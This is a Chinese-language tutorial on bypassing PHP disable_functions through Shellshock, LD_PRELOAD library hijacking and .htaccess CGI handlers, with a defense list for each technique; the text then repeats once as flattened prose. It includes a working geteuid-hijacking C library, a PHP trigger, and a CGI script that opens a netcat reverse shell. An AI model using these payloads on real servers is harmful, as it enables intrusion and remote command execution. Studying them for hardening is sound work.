PHP中通过bypass disable functions执行系统命令的几种方式
字数 1181 2025-08-18 11:37:16

PHP绕过disable_functions执行系统命令的几种方式

一、背景与概述

在PHP安全配置中,管理员通常会禁用一些危险函数(如eval、exec、system等),这些限制被称为"disable_functions"。然而,攻击者有多种方法可以绕过这些限制来执行系统命令。

二、Bash漏洞利用(CVE-2014-6271)

原理

利用GNU Bash 4.3及之前版本中的环境变量远程命令执行漏洞,通过PHP的mail()函数触发。

具体实现

  1. PHP的mail()函数最后一个参数additional_parameters可以传递附加命令
  2. 当使用sendmail发送邮件时,会调用系统命令
  3. 如果系统默认sh是bash且存在漏洞,可以执行任意命令

关键代码

if (extra_cmd != NULL) {
    spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
} else {
    sendmail_cmd = sendmail_path;
}
sendmail = popen(sendmail_cmd, "w");

防御措施

  • 修复CVE-2014-6271 Bash漏洞
  • 类似函数:imap_mail等也会调用popen

三、LD_PRELOAD环境变量利用

原理

Linux的LD_PRELOAD环境变量允许在程序运行前优先加载指定的动态链接库,可以劫持库函数调用。

实现步骤

  1. 编写恶意动态库,覆盖目标函数(如geteuid)
  2. 使用putenv设置LD_PRELOAD环境变量
  3. 调用会触发目标函数的PHP函数(如mail)

示例代码

hack.c:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("touch /var/www/html/test");
}

int geteuid() {
    if(getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

编译命令:

gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so

PHP调用代码:

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("adwin@localhost", "", "", "");
?>

防御措施

  • 禁用putenv函数
  • 限制环境变量的传递

四、.htaccess文件利用

前提条件

  1. Apache环境
  2. mod_cgi已启用
  3. AllowOverride设置为All
  4. 有权限写.htaccess文件

实现方法

  1. 修改.htaccess添加ExecCGI选项和处理器
  2. 创建CGI脚本文件
  3. 通过访问CGI脚本执行命令

示例.htaccess内容:

Options +ExecCGI
AddHandler cgi-script .dizzle

CGI脚本示例(shell.dizzle):

#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
nc -c '/bin/bash' 127.0.0.1 4444

防御措施

  • 限制.htaccess文件修改权限
  • 禁用不必要的Apache模块

五、其他绕过方式

1. ImageMagick漏洞

  • 影响版本: ImageMagick 6.9.3-9之前
  • 通过处理畸形图片触发命令注入

2. pcntl_exec

  • 利用pcntl扩展执行命令
  • 常用于exec被禁用的情况

3. COM组件(Windows)

  • 需要com.allow_dcom = true
  • 可以绕过安全模式限制

4. win32std扩展

  • 使用win_shell_execute函数执行命令
  • 较老的PHP扩展

六、综合防御建议

  1. 及时修复已知漏洞(Bash漏洞等)
  2. 限制危险函数(putenv等)的使用
  3. 严格控制文件写入权限
  4. 禁用不必要的服务和模块
  5. 最小化PHP运行权限
  6. 定期审查服务器配置
  7. 监控异常行为

通过了解这些绕过技术,管理员可以更有针对性地加强服务器安全配置,防止攻击者利用这些方法提升权限或执行恶意操作。

PHP绕过disable_ functions执行系统命令的几种方式 一、背景与概述 在PHP安全配置中,管理员通常会禁用一些危险函数(如eval、exec、system等),这些限制被称为"disable_ functions"。然而,攻击者有多种方法可以绕过这些限制来执行系统命令。 二、Bash漏洞利用(CVE-2014-6271) 原理 利用GNU Bash 4.3及之前版本中的环境变量远程命令执行漏洞,通过PHP的mail()函数触发。 具体实现 PHP的mail()函数最后一个参数 additional_parameters 可以传递附加命令 当使用sendmail发送邮件时,会调用系统命令 如果系统默认sh是bash且存在漏洞,可以执行任意命令 关键代码 防御措施 修复CVE-2014-6271 Bash漏洞 类似函数:imap_ mail等也会调用popen 三、LD_ PRELOAD环境变量利用 原理 Linux的LD_ PRELOAD环境变量允许在程序运行前优先加载指定的动态链接库,可以劫持库函数调用。 实现步骤 编写恶意动态库,覆盖目标函数(如geteuid) 使用putenv设置LD_ PRELOAD环境变量 调用会触发目标函数的PHP函数(如mail) 示例代码 hack.c: 编译命令: PHP调用代码: 防御措施 禁用putenv函数 限制环境变量的传递 四、.htaccess文件利用 前提条件 Apache环境 mod_ cgi已启用 AllowOverride设置为All 有权限写.htaccess文件 实现方法 修改.htaccess添加ExecCGI选项和处理器 创建CGI脚本文件 通过访问CGI脚本执行命令 示例.htaccess内容: CGI脚本示例(shell.dizzle): 防御措施 限制.htaccess文件修改权限 禁用不必要的Apache模块 五、其他绕过方式 1. ImageMagick漏洞 影响版本: ImageMagick 6.9.3-9之前 通过处理畸形图片触发命令注入 2. pcntl_ exec 利用pcntl扩展执行命令 常用于exec被禁用的情况 3. COM组件(Windows) 需要com.allow_ dcom = true 可以绕过安全模式限制 4. win32std扩展 使用win_ shell_ execute函数执行命令 较老的PHP扩展 六、综合防御建议 及时修复已知漏洞(Bash漏洞等) 限制危险函数(putenv等)的使用 严格控制文件写入权限 禁用不必要的服务和模块 最小化PHP运行权限 定期审查服务器配置 监控异常行为 通过了解这些绕过技术,管理员可以更有针对性地加强服务器安全配置,防止攻击者利用这些方法提升权限或执行恶意操作。